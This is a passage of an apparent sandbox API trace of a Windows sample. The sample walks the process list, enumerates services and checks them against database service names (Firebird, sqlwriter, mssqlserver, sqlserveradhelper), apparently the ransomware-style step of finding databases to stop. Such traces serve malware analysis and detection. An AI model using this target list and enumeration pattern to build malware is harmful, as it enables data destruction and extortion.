[0164.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0164.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0164.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0164.798] lstrlenW (lpString="SystemEventsBroker") returned 18 [0164.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0164.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0164.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0164.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0164.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0164.799] lstrlenW (lpString="Themes") returned 6 [0164.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0164.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0164.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0164.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0164.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0164.799] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0164.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0164.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0164.799] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0164.799] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0164.799] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c24c0 | out: hHeap=0x710000) returned 1 [0164.799] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b8 [0164.808] Process32FirstW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.997] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0164.997] lstrlenW (lpString="System") returned 6 [0164.997] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0164.998] lstrlenW (lpString="smss.exe") returned 8 [0164.998] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.999] lstrlenW (lpString="csrss.exe") returned 9 [0165.000] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0165.000] lstrlenW (lpString="wininit.exe") returned 11 [0165.001] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.002] lstrlenW (lpString="csrss.exe") returned 9 [0165.002] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.003] lstrlenW (lpString="winlogon.exe") returned 12 [0165.003] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.004] lstrlenW (lpString="services.exe") returned 12 [0165.004] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.005] lstrlenW (lpString="lsass.exe") returned 9 [0165.005] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.006] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.006] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.006] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.006] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.007] lstrlenW (lpString="svchost.exe") returned 11 [0165.007] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.008] lstrlenW (lpString="svchost.exe") returned 11 [0165.008] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.009] lstrlenW (lpString="dwm.exe") returned 7 [0165.009] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.010] lstrlenW (lpString="svchost.exe") returned 11 [0165.010] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.011] lstrlenW (lpString="svchost.exe") returned 11 [0165.011] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.013] lstrlenW (lpString="svchost.exe") returned 11 [0165.013] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.014] lstrlenW (lpString="svchost.exe") returned 11 [0165.014] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.015] lstrlenW (lpString="svchost.exe") returned 11 [0165.015] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.016] lstrlenW (lpString="svchost.exe") returned 11 [0165.016] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.017] lstrlenW (lpString="svchost.exe") returned 11 [0165.017] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.018] lstrlenW (lpString="svchost.exe") returned 11 [0165.018] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.019] lstrlenW (lpString="svchost.exe") returned 11 [0165.019] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.020] lstrlenW (lpString="svchost.exe") returned 11 [0165.020] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0165.021] lstrlenW (lpString="spoolsv.exe") returned 11 [0165.021] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.022] lstrlenW (lpString="svchost.exe") returned 11 [0165.022] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.023] lstrlenW (lpString="audiodg.exe") returned 11 [0165.023] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.024] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.024] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0165.025] lstrlenW (lpString="sihost.exe") returned 10 [0165.025] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.026] lstrlenW (lpString="svchost.exe") returned 11 [0165.026] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0165.251] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0165.251] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0166.281] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0166.281] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0166.281] lstrlenW (lpString="Memory Compression") returned 18 [0166.282] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.282] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.282] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0166.283] lstrlenW (lpString="msoia.exe") returned 9 [0166.284] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.284] lstrlenW (lpString="explorer.exe") returned 12 [0166.285] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0166.285] lstrlenW (lpString="SearchUI.exe") returned 12 [0166.286] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0166.286] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0166.287] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0166.287] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0166.288] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.288] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.289] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0166.289] lstrlenW (lpString="wmxsde.exe") returned 10 [0166.290] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0166.290] lstrlenW (lpString="cmd.exe") returned 7 [0166.290] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.291] lstrlenW (lpString="conhost.exe") returned 11 [0166.291] Process32NextW (in: hSnapshot=0x4b8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0166.292] CloseHandle (hObject=0x4b8) returned 1 [0166.292] Sleep (dwMilliseconds=0x1f4) [0166.931] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f8f8 [0166.932] EnumServicesStatusExW (in: hSCManager=0x459f8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0166.934] GetLastError () returned 0xea [0166.934] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bbc) returned 0x4577b98 [0166.934] EnumServicesStatusExW (in: hSCManager=0x459f8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4577b98, cbBufSize=0x1bbc, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4577b98, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0166.935] CloseServiceHandle (hSCObject=0x459f8f8) returned 1 [0166.936] lstrlenW (lpString="AppXSvc") returned 7 [0166.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0166.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0166.936] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0166.936] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0166.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0166.936] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0166.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.936] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0166.936] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0166.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0166.936] lstrlenW (lpString="Audiosrv") returned 8 [0166.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0166.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0166.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0166.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0166.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0166.936] lstrlenW (lpString="BFE") returned 3 [0166.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0166.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0166.937] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0166.937] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.937] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0166.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.937] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0166.937] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0166.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0166.937] lstrlenW (lpString="CDPSvc") returned 6 [0166.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0166.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0166.937] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0166.937] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0166.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0166.937] lstrlenW (lpString="ClickToRunSvc") returned 13 [0166.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0166.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0166.937] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0166.937] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0166.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0166.937] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0166.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.938] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0166.938] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0166.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0166.938] lstrlenW (lpString="CryptSvc") returned 8 [0166.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.938] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.938] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.938] lstrlenW (lpString="DcomLaunch") returned 10 [0166.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.938] lstrlenW (lpString="DeviceAssociationService") returned 24 [0166.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0166.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0166.938] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0166.938] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0166.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0166.938] lstrlenW (lpString="Dhcp") returned 4 [0166.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.939] lstrlenW (lpString="Dnscache") returned 8 [0166.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.939] lstrlenW (lpString="DPS") returned 3 [0166.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.939] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.939] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.939] lstrlenW (lpString="DsmSvc") returned 6 [0166.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0166.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0166.939] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0166.939] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0166.939] 